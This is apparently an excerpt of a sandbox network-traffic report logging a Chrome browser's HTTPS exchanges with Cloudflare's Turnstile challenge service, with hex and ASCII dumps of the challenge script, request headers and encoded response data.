window._cf_chl_opt.uaO=false;window._cf_chl_opt.EssXB0={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 32 30 61 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 22 3a 22 59 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 Data Ascii: 20a%20Cloudflare%20security%20challenge","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20acci
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 2c 66 57 2c 67 6d 2c 67 77 2c 67 41 2c 67 42 2c 67 46 2c 67 47 2c 67 48 2c 66 54 2c 66 55 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 38 39 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 33 38 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 33 32 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 36 31 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 30 30 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 35 31 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 33 35 37 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 Data Ascii: ,fW,gm,gw,gA,gB,gF,gG,gH,fT,fU){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1189))/1(-parseInt(gI(1338))/2)+parseInt(gI(1432))/3+-parseInt(gI(961))/4+-parseInt(gI(1500))/5+parseInt(gI(551))/6(parseInt(gI(357))/7)+-parseInt(gI
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 65 3b 63 61 73 65 27 37 27 3a 65 5b 67 4c 28 36 34 31 29 5d 28 45 5b 67 4c 28 37 35 30 29 5d 2c 65 5b 67 4c 28 32 39 32 29 5d 29 26 26 46 5b 67 4c 28 38 33 31 29 5d 2b 2b 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 47 5b 67 4c 28 37 35 30 29 5d 3d 3d 3d 65 5b 67 4c 28 36 33 33 29 5d 26 26 48 5b 67 4c 28 34 32 31 29 5d 2b 2b 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 65 6c 73 65 20 65 4d 5b 67 4c 28 34 31 33 29 5d 5b 67 4c 28 34 33 38 29 5d 28 29 2c 65 4d 5b 67 4c 28 34 31 33 29 5d 5b 67 4c 28 31 30 33 37 29 5d 28 29 2c 65 4d 5b 67 4c 28 31 32 32 39 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 65 5b 67 4c 28 36 32 37 29 5d 5d 5b 67 4c 28 37 37 35 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 65 5b 67 4c 28 32 35 36 29 5d 2c 27 77 69 64 67 65 74 49 64 27 3a Data Ascii: e;case'7':e[gL(641)](E[gL(750)],e[gL(292)])&&F[gL(831)]++;continue;case'8':G[gL(750)]===e[gL(633)]&&H[gL(421)]++;continue}break}}else eM[gL(413)][gL(438)](),eM[gL(413)][gL(1037)](),eM[gL(1229)]=!![],eM[e[gL(627)]][gL(775)]({'source':e[gL(256)],'widgetId':
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 42 3d 7b 7d 2c 42 5b 67 4d 28 38 35 35 29 5d 3d 66 2c 42 5b 67 4d 28 39 36 36 29 5d 3d 6a 2c 42 2e 63 63 3d 67 2c 42 5b 67 4d 28 32 31 36 29 5d 3d 6b 2c 42 5b 67 4d 28 39 35 37 29 5d 3d 6f 2c 43 3d 4a 53 4f 4e 5b 67 4d 28 33 39 32 29 5d 28 42 29 2c 44 3d 67 6d 5b 67 4d 28 34 30 39 29 5d 28 43 29 5b 67 4d 28 35 31 37 29 5d 28 27 2b 27 2c 69 5b 67 4d 28 32 31 37 29 5d 29 2c 73 5b 67 4d 28 38 30 34 29 5d 28 27 76 5f 27 2b 65 4d 5b 67 4d 28 31 34 34 32 29 5d 5b 67 4d 28 32 32 36 29 5d 2b 27 3d 27 2b 44 29 7d 63 61 74 63 68 28 46 29 7b 7d 7d 2c 65 4d 5b 67 4a 28 31 33 39 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 67 4e 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 76 2c 6f 29 7b 28 67 4e 3d 67 4a 2c 66 3d 7b 7d 2c 66 5b 67 4e 28 31 33 36 38 29 5d Data Ascii: B={},B[gM(855)]=f,B[gM(966)]=j,B.cc=g,B[gM(216)]=k,B[gM(957)]=o,C=JSON[gM(392)](B),D=gm[gM(409)](C)[gM(517)]('+',i[gM(217)]),s[gM(804)]('v_'+eM[gM(1442)][gM(226)]+'='+D)}catch(F){}},eM[gJ(1398)]=function(e,gN,f,g,h,i,j,k,l,m,n,v,o){(gN=gJ,f={},f[gN(1368)]
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 67 50 28 31 33 33 32 29 5d 2c 66 75 6e 63 74 69 6f 6e 28 73 2c 67 52 29 7b 67 52 3d 67 50 2c 73 5b 67 52 28 38 37 37 29 5d 2b 3d 6f 5b 67 52 28 33 37 37 29 5d 28 6f 5b 67 52 28 36 32 34 29 5d 2b 6f 5b 67 52 28 39 31 30 29 5d 28 69 2c 6a 29 2c 67 52 28 38 39 30 29 29 7d 29 29 3a 65 4d 5b 67 50 28 37 30 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 67 53 2c 6f 2c 73 29 7b 67 53 3d 67 50 2c 6f 3d 7b 7d 2c 6f 5b 67 53 28 33 38 35 29 5d 3d 67 53 28 35 36 39 29 2c 73 3d 6f 2c 67 53 28 38 32 33 29 3d 3d 3d 67 53 28 38 32 33 29 3f 65 4d 5b 67 53 28 34 38 34 29 5d 28 29 3a 64 5b 67 53 28 36 33 38 29 5d 28 67 53 28 32 38 36 29 2c 73 5b 67 53 28 33 38 35 29 5d 29 7d 2c 31 65 33 29 3a 28 6c 3d 7b 7d 2c 6c 5b 67 50 28 31 34 37 34 29 5d 3d 64 2c 6c 5b 67 50 28 38 33 30 29 5d Data Ascii: gP(1332)],function(s,gR){gR=gP,s[gR(877)]+=o[gR(377)](o[gR(624)]+o[gR(910)](i,j),gR(890))})):eM[gP(700)](function(gS,o,s){gS=gP,o={},o[gS(385)]=gS(569),s=o,gS(823)===gS(823)?eM[gS(484)]():d[gS(638)](gS(286),s[gS(385)])},1e3):(l={},l[gP(1474)]=d,l[gP(830)]
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 6e 20 66 28 29 7d 7d 2c 64 3d 65 4d 5b 69 67 28 31 34 34 32 29 5d 5b 69 67 28 31 34 34 30 29 5d 7c 7c 31 65 34 2c 65 3d 66 50 28 29 2c 21 65 4d 5b 69 67 28 31 32 32 39 29 5d 26 26 21 66 75 28 29 26 26 21 65 4d 5b 69 67 28 34 31 33 29 5d 5b 69 67 28 39 36 35 29 5d 26 26 63 5b 69 67 28 31 31 38 34 29 5d 28 63 5b 69 67 28 31 32 39 34 29 5d 28 65 2c 66 4f 29 2c 64 29 29 7b 69 66 28 63 5b 69 67 28 34 32 38 29 5d 28 63 5b 69 67 28 33 35 30 29 5d 2c 63 5b 69 67 28 33 35 30 29 5d 29 29 7b 69 66 28 63 5b 69 67 28 31 32 32 37 29 5d 28 6e 75 6c 6c 2c 67 5b 68 5d 29 29 72 65 74 75 72 6e 20 69 5b 6a 5d 3d 3d 3d 76 6f 69 64 20 30 3f 27 75 27 3a 27 78 27 7d 65 6c 73 65 20 63 5b 69 67 28 32 36 36 29 5d 28 66 61 29 7d 65 6c 73 65 20 66 62 28 29 7d 2c 31 65 33 29 29 2c 66 Data Ascii: n f()}},d=eM[ig(1442)][ig(1440)]\|\|1e4,e=fP(),!eM[ig(1229)]&&!fu()&&!eM[ig(413)][ig(965)]&&c[ig(1184)](c[ig(1294)](e,fO),d)){if(c[ig(428)](c[ig(350)],c[ig(350)])){if(c[ig(1227)](null,g[h]))return i[j]===void 0?'u':'x'}else c[ig(266)](fa)}else fb()},1e3)),f
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 69 7d 2c 27 65 55 49 54 4f 27 3a 69 4d 28 31 32 37 34 29 2c 27 43 78 4d 6d 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6f 5a 4b 59 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 6a 72 78 41 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 62 4c 49 41 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 64 79 78 75 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 71 6d 6b 59 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 62 75 45 52 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 Data Ascii: i},'eUITO':iM(1274),'CxMmk':function(h,i){return h(i)},'oZKYU':function(h,i){return i\|h},'jrxAV':function(h,i){return h<<i},'bLIAd':function(h,i){return h==i},'dyxuk':function(h,i){return h(i)},'qmkYM':function(h,i){return i\|h},'buERC':function(h,i){retur
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 28 34 36 32 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 69 4f 28 39 38 32 29 5d 28 38 2c 73 29 3b 48 3d 64 5b 69 4f 28 31 32 38 37 29 5d 28 48 3c 3c 31 2e 30 33 2c 64 5b 69 4f 28 32 35 30 29 5d 28 4f 2c 31 29 29 2c 64 5b 69 4f 28 33 34 35 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 69 4f 28 39 33 38 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4f 3d 31 2c 73 3d 30 3b 64 5b 69 4f 28 34 36 39 29 5d 28 73 2c 46 29 3b 48 3d 4f 7c 48 3c 3c 31 2e 38 37 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 69 4f 28 39 33 38 29 5d 28 64 5b 69 4f 28 31 33 38 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 69 4f 28 34 36 32 29 5d 28 30 29 2c 73 3d Data Ascii: (462)](0),s=0;d[iO(982)](8,s);H=d[iO(1287)](H<<1.03,d[iO(250)](O,1)),d[iO(345)](I,j-1)?(I=0,G[iO(938)](o(H)),H=0):I++,O>>=1,s++);}else{for(O=1,s=0;d[iO(469)](s,F);H=O\|H<<1.87,I==j-1?(I=0,G[iO(938)](d[iO(138)](o,H)),H=0):I++,O=0,s++);for(O=C[iO(462)](0),s=
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 4f 28 38 32 39 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 7d 65 6c 73 65 20 66 6f 72 28 4f 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 69 4f 28 31 32 38 37 29 5d 28 64 5b 69 4f 28 34 31 32 29 5d 28 48 2c 31 29 2c 4f 26 31 2e 34 34 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 69 4f 28 39 33 38 29 5d 28 64 5b 69 4f 28 31 33 38 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 44 2d 2d 2c 44 3d 3d 30 26 26 46 2b 2b 7d 66 6f 72 28 4f 3d 32 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 69 4f 28 31 33 31 29 5d 28 48 2c 31 29 7c 64 5b 69 4f 28 32 37 38 29 5d 28 4f 2c 31 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 69 4f 28 39 33 38 29 5d 28 64 5b 69 4f 28 31 33 34 30 29 5d 28 6f 2c 48 Data Ascii: O(829)](2,F),F++),delete B[C]}}else for(O=x[C],s=0;s<F;H=d[iO(1287)](d[iO(412)](H,1),O&1.44),j-1==I?(I=0,G[iO(938)](d[iO(138)](o,H)),H=0):I++,O>>=1,s++);D--,D==0&&F++}for(O=2,s=0;s<F;H=d[iO(131)](H,1)\|d[iO(278)](O,1),I==j-1?(I=0,G[iO(938)](d[iO(1340)](o,H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49770	104.18.95.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:32 UTC	1174	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/2128624006:1733430709:1kaw-EvXPlJ06sc69WjGhomWhSrpyXilzAXkA-dCLoQ/8ed70eb9892b182d/Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3025 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:32 UTC	3025	OUT	Data Raw: 76 5f 38 65 64 37 30 65 62 39 38 39 32 62 31 38 32 64 3d 7a 70 36 6c 59 6c 42 6c 7a 6c 77 6c 25 32 62 4a 61 43 4a 61 58 6c 4a 52 6c 67 4e 36 34 61 73 4a 30 63 61 37 64 61 35 4e 50 4e 4a 52 42 61 30 6c 7a 36 4a 6f 69 36 61 57 2d 4f 4e 2b 34 72 6e 54 61 76 55 6c 61 71 52 61 42 4e 35 53 61 6d 4c 72 45 61 4c 6d 4e 35 6e 61 49 4e 61 63 61 4f 4c 61 39 69 72 6c 4c 72 56 61 46 6c 4a 73 50 68 56 44 50 4c 30 4d 6e 6e 4e 6c 61 33 7a 7a 6b 74 36 61 44 78 34 59 49 41 64 72 45 4e 35 30 70 68 64 6c 64 74 57 61 4c 61 32 4a 4c 39 77 63 55 39 73 4b 76 39 6f 4b 50 68 4c 6c 35 64 6f 39 50 56 42 72 58 4c 61 6f 46 73 49 2d 53 64 43 64 68 61 5a 76 68 61 63 63 33 77 77 6c 35 45 77 61 61 64 61 42 53 70 61 78 32 74 73 55 76 74 63 54 64 69 61 6f 76 30 6f 35 61 61 48 6c 4a 4a 64 4e Data Ascii: v_8ed70eb9892b182d=zp6lYlBlzlwl%2bJaCJaXlJRlgN64asJ0ca7da5NPNJRBa0lz6Joi6aW-ON+4rnTavUlaqRaBN5SamLrEaLmN5naINacaOLa9irlLrVaFlJsPhVDPL0MnnNla3zzkt6aDx4YIAdrEN50phdldtWaLa2JL9wcU9sKv9oKPhLl5do9PVBrXLaoFsI-SdCdhaZvhacc3wwl5EwaadaBSpax2tsUvtcTdiaov0o5aaHlJJdN
2024-12-05 21:16:33 UTC	747	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:33 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149712 Connection: close cf-chl-gen: J32C21rI3FQ4XYXy9zhK1JcKZmp5Y6HrLU0+ZQ+dsz5JXsOIzbUnNoDMn0QLTEHk9YttV7eSvWWADb3X487oy5vNvkV2//Yo+IfFW0HG2TlhFbOdiJGWKjvnsrkzvV0MbaIspqWA2tdZy/I9ugubzbd3og+UO0hyyytVxEqI77cp2JNvExtFlqIEd4JtU/TcK4pMJOVB/TxGPkwKNgQQUP7XFdsA/GPBop4iGwTB0T3EJ/CggLQC4aXmOVLd4L8zKPxiDE3k4pJZPgxTJa7IPg315meKKbUlOklTp3D0cnTF0DOYJrDo7i5zo4bjm8A/vmp7SjWfhOXlrwUOZm3ff/5RLijPa6DfbP8XquVYJnpc4HK0HWMUEOimVNp+NMCwOr+eCyXnml1tTE1YLWLcx8+/zfmZy2i1kYcHHMv99PhTfpLKpabPA0TzBvymnE89rq0oaTJQmxJbldfOXU7p+Fgk1gSQDUTFgAUD4hf8VdXS3vI=$86VJre4ng6t2oe4s Server: cloudflare CF-RAY: 8ed70ed2be8f424b-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:33 UTC	622	IN	Data Raw: 6d 62 6d 57 63 35 4f 37 71 62 42 39 67 6f 47 35 77 72 54 44 76 35 6a 4b 6d 4b 6d 5a 76 71 53 36 73 4d 48 52 71 4c 54 43 71 36 79 56 6a 61 33 54 78 74 48 67 74 4c 44 43 73 74 6e 55 6f 72 37 69 34 74 32 6c 77 4c 7a 6e 7a 61 33 62 36 63 62 74 30 65 33 79 32 75 6e 78 31 66 50 7a 76 4c 6e 35 33 62 37 2b 2b 4f 37 37 2b 4e 54 7a 41 75 45 4b 2b 4f 30 49 30 51 73 48 33 75 6a 6d 30 2b 33 54 43 4f 7a 78 31 77 30 57 43 66 77 52 33 42 77 69 48 78 76 32 2f 50 6a 38 48 66 6b 64 45 53 77 75 4b 76 41 73 45 53 63 33 4a 50 4d 70 39 68 59 7a 4c 66 6f 69 41 68 77 7a 52 6b 45 46 4e 6b 4d 55 4e 45 41 6d 48 7a 6c 49 4f 79 4a 41 4c 53 68 43 4b 46 4e 55 4e 6c 4d 61 52 56 39 58 4d 6c 55 62 48 56 30 33 5a 57 49 69 59 55 5a 66 53 44 77 6f 53 55 4d 70 52 33 46 4d 4d 6c 4e 7a 61 48 6f Data Ascii: mbmWc5O7qbB9goG5wrTDv5jKmKmZvqS6sMHRqLTCq6yVja3TxtHgtLDCstnUor7i4t2lwLznza3b6cbt0e3y2unx1fPzvLn53b7++O77+NTzAuEK+O0I0QsH3ujm0+3TCOzx1w0WCfwR3BwiHxv2/Pj8HfkdESwuKvAsESc3JPMp9hYzLfoiAhwzRkEFNkMUNEAmHzlIOyJALShCKFNUNlMaRV9XMlUbHV03ZWIiYUZfSDwoSUMpR3FMMlNzaHo
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 4a 2f 6b 49 31 70 64 46 78 76 6a 59 47 49 6d 58 4e 56 69 70 4b 52 6c 5a 4e 63 64 31 57 52 68 70 6d 6a 6f 4a 79 61 6f 36 47 63 72 4a 69 6b 71 4b 53 54 6f 61 53 46 6a 5a 65 54 6f 34 78 33 70 37 36 75 69 4b 6d 6a 74 58 2b 64 6d 62 4b 32 71 5a 4f 32 79 6f 6d 65 6a 4b 61 38 6f 4d 75 6b 30 4b 66 41 6f 5a 66 59 73 62 54 52 72 74 2b 66 34 62 6e 51 7a 72 53 67 70 4f 4f 62 35 63 72 74 78 4e 66 61 7a 75 4c 46 73 4c 2f 4c 30 2b 48 74 74 2b 50 74 37 75 7a 4b 34 4d 76 63 2f 4f 76 53 33 38 58 5a 41 76 33 79 39 4e 59 43 2f 63 48 36 79 67 59 43 36 4f 72 70 46 78 48 56 44 42 62 5a 43 2b 30 4b 47 51 76 36 44 68 30 50 42 78 49 68 45 68 6b 57 4a 52 59 5a 47 69 6b 61 4b 52 34 74 48 6a 55 69 4d 53 49 31 4a 6a 55 6d 2b 53 6f 35 4b 76 6b 75 50 54 41 50 4d 6b 45 7a 2f 44 63 58 4c Data Ascii: J/kI1pdFxvjYGImXNVipKRlZNcd1WRhpmjoJyao6GcrJikqKSToaSFjZeTo4x3p76uiKmjtX+dmbK2qZO2yomejKa8oMuk0KfAoZfYsbTRrt+f4bnQzrSgpOOb5crtxNfazuLFsL/L0+Htt+Pt7uzK4Mvc/OvS38XZAv3y9NYC/cH6ygYC6OrpFxHVDBbZC+0KGQv6Dh0PBxIhEhkWJRYZGikaKR4tHjUiMSI1JjUm+So5KvkuPTAPMkEz/DcXL
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 41 67 32 43 49 54 32 4f 62 58 48 42 78 6d 57 79 57 65 71 43 66 62 5a 68 37 70 58 4f 63 70 4b 46 2f 6f 71 74 2f 67 36 61 75 67 34 65 72 66 34 65 4c 72 6e 47 78 6c 62 47 78 6e 70 61 33 6e 61 43 54 70 73 47 46 74 4d 6d 59 77 49 71 63 6e 4d 53 4f 6e 4b 44 49 6b 59 69 6b 7a 4a 53 58 71 4e 43 59 6c 36 7a 55 6e 4f 4b 77 32 4b 44 69 74 4e 79 6b 33 72 6a 67 71 4e 36 38 35 4b 7a 63 72 38 66 4d 74 65 37 6d 77 37 4c 79 36 62 6d 36 39 75 37 33 33 2f 72 79 33 39 66 76 2b 64 67 4c 30 2f 6d 2f 37 74 6e 35 2b 76 33 37 34 51 41 53 2b 4e 51 45 37 51 6b 63 36 77 76 65 36 76 77 45 39 53 41 48 38 2f 4c 66 34 4f 72 6f 47 67 33 6f 36 41 77 75 44 78 30 6c 4e 65 30 59 42 6a 59 36 44 51 6b 47 4f 41 6f 59 49 45 44 35 4e 52 63 41 48 44 38 47 2f 44 63 37 43 6a 38 2b 52 6a 4d 2f 4b 6a Data Ascii: Ag2CIT2ObXHBxmWyWeqCfbZh7pXOcpKF/oqt/g6aug4erf4eLrnGxlbGxnpa3naCTpsGFtMmYwIqcnMSOnKDIkYikzJSXqNCYl6zUnOKw2KDitNyk3rjgqN685Kzcr8fMte7mw7Ly6bm69u733/ry39fv+dgL0/m/7tn5+v374QAS+NQE7Qkc6wve6vwE9SAH8/Lf4OroGg3o6AwuDx0lNe0YBjY6DQkGOAoYIED5NRcAHD8G/Dc7Cj8+RjM/Kj
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 61 32 2b 53 6d 6d 39 7a 6c 32 74 7a 64 35 70 64 6e 59 47 64 6e 59 71 43 6f 34 6d 4d 66 35 4b 74 63 61 43 31 6e 33 5a 72 63 59 78 35 63 34 61 63 65 59 46 34 6b 4c 69 41 67 35 53 38 68 49 4f 59 77 49 6a 4f 6f 63 72 43 6b 4d 6a 45 30 4c 2b 34 6f 4d 62 59 73 62 48 50 30 70 61 57 6d 63 4f 76 32 74 37 54 34 4e 50 6f 71 64 6d 38 74 38 36 34 75 75 50 66 35 74 79 72 31 39 4f 76 34 38 62 6e 36 72 69 39 76 4e 62 42 30 75 76 2b 34 51 6a 6b 77 73 59 44 42 64 54 35 33 76 76 5a 45 41 63 54 44 75 50 68 30 4f 6e 6f 39 52 6a 35 44 68 63 51 48 66 63 65 33 64 72 58 4a 66 54 30 41 2b 51 6f 43 42 6f 4d 4b 66 44 70 43 67 30 7a 44 2f 49 4a 39 67 6b 58 4b 77 55 70 39 67 73 79 51 7a 6b 43 4e 30 51 76 48 67 55 6a 2f 44 35 4e 4f 45 77 50 49 79 77 51 50 6b 30 2b 44 6b 4a 52 52 43 56 Data Ascii: a2+Smm9zl2tzd5pdnYGdnYqCo4mMf5KtcaC1n3ZrcYx5c4aceYF4kLiAg5S8hIOYwIjOocrCkMjE0L+4oMbYsbHP0paWmcOv2t7T4NPoqdm8t864uuPf5tyr19Ov48bn6ri9vNbB0uv+4QjkwsYDBdT53vvZEAcTDuPh0Ono9Rj5DhcQHfce3drXJfT0A+QoCBoMKfDpCg0zD/IJ9gkXKwUp9gsyQzkCN0QvHgUj/D5NOEwPIywQPk0+DkJRRCV
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 5a 52 2b 63 34 4f 49 69 58 61 56 6c 6f 74 2b 59 4c 42 72 72 34 4a 75 6e 47 64 7a 69 71 32 61 71 71 69 79 6e 58 70 39 74 61 46 2b 67 37 75 56 67 35 65 2b 71 6f 4f 61 77 5a 2b 59 68 6f 75 4a 6a 4c 2b 31 73 5a 62 50 77 72 44 4b 70 61 53 31 6d 37 79 71 7a 64 32 61 6e 2b 4f 59 70 4f 61 32 31 74 50 41 79 61 7a 4d 71 71 37 71 38 4b 37 6d 78 38 66 79 32 63 54 4a 32 50 4c 65 2b 50 36 34 2b 65 37 65 30 67 62 34 34 74 66 6e 37 4f 33 61 2b 66 72 76 34 39 7a 4d 46 65 33 6d 30 41 45 59 39 41 55 53 2f 64 72 66 47 50 48 66 38 78 73 48 33 2f 59 65 2b 2f 67 74 4c 51 7a 6b 2b 66 6f 67 38 51 63 78 4b 69 55 32 41 51 49 6b 46 69 67 75 50 41 73 62 4e 66 6f 55 4a 42 51 63 47 43 6f 6e 50 6a 34 71 42 67 63 36 52 7a 73 71 4a 52 31 48 4e 46 45 58 55 46 64 48 55 53 38 52 54 31 4a 58 Data Ascii: ZR+c4OIiXaVlot+YLBrr4JunGdziq2aqqiynXp9taF+g7uVg5e+qoOawZ+YhouJjL+1sZbPwrDKpaS1m7yqzd2an+OYpOa21tPAyazMqq7q8K7mx8fy2cTJ2PLe+P64+e7e0gb44tfn7O3a+frv49zMFe3m0AEY9AUS/drfGPHf8xsH3/Ye+/gtLQzk+fog8QcxKiU2AQIkFiguPAsbNfoUJBQcGConPj4qBgc6RzsqJR1HNFEXUFdHUS8RT1JX
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 61 46 58 56 35 31 65 70 74 34 6e 71 75 75 63 6f 4a 73 64 59 47 35 63 70 47 31 6a 4c 4c 41 64 37 36 34 6a 33 75 75 76 35 32 45 6b 73 61 6f 69 72 71 70 67 59 4b 5a 6e 72 2b 63 77 73 2f 53 6c 71 61 51 6d 61 57 63 72 70 72 49 6c 38 37 57 32 63 62 61 74 74 6e 4a 32 74 62 4e 79 36 79 6f 7a 50 44 48 7a 65 44 72 7a 72 2f 4f 36 37 6a 74 79 72 6e 64 2b 73 44 59 77 4c 37 4d 33 73 48 51 75 67 62 45 42 75 76 44 43 64 37 6a 37 64 44 78 44 41 2f 74 38 63 6f 49 38 75 30 5a 47 4e 77 53 37 74 30 43 48 2b 54 38 35 4f 4c 77 41 2b 58 30 33 69 72 6f 4b 68 44 6e 4c 51 4d 49 45 76 4d 75 4a 53 4d 53 46 75 34 73 46 77 6f 39 4f 51 77 7a 50 30 4d 68 51 53 41 30 43 42 34 47 46 6b 73 37 44 79 30 2b 49 31 49 7a 43 55 51 71 4c 31 59 78 56 6a 78 4a 4c 30 34 38 54 46 41 76 4f 32 49 34 59 Data Ascii: aFXV51ept4nquucoJsdYG5cpG1jLLAd764j3uuv52EksaoirqpgYKZnr+cws/SlqaQmaWcrprIl87W2cbattnJ2tbNy6yozPDHzeDrzr/O67jtyrnd+sDYwL7M3sHQugbEBuvDCd7j7dDxDA/t8coI8u0ZGNwS7t0CH+T85OLwA+X03iroKhDnLQMIEvMuJSMSFu4sFwo9OQwzP0MhQSA0CB4GFks7Dy0+I1IzCUQqL1YxVjxJL048TFAvO2I4Y
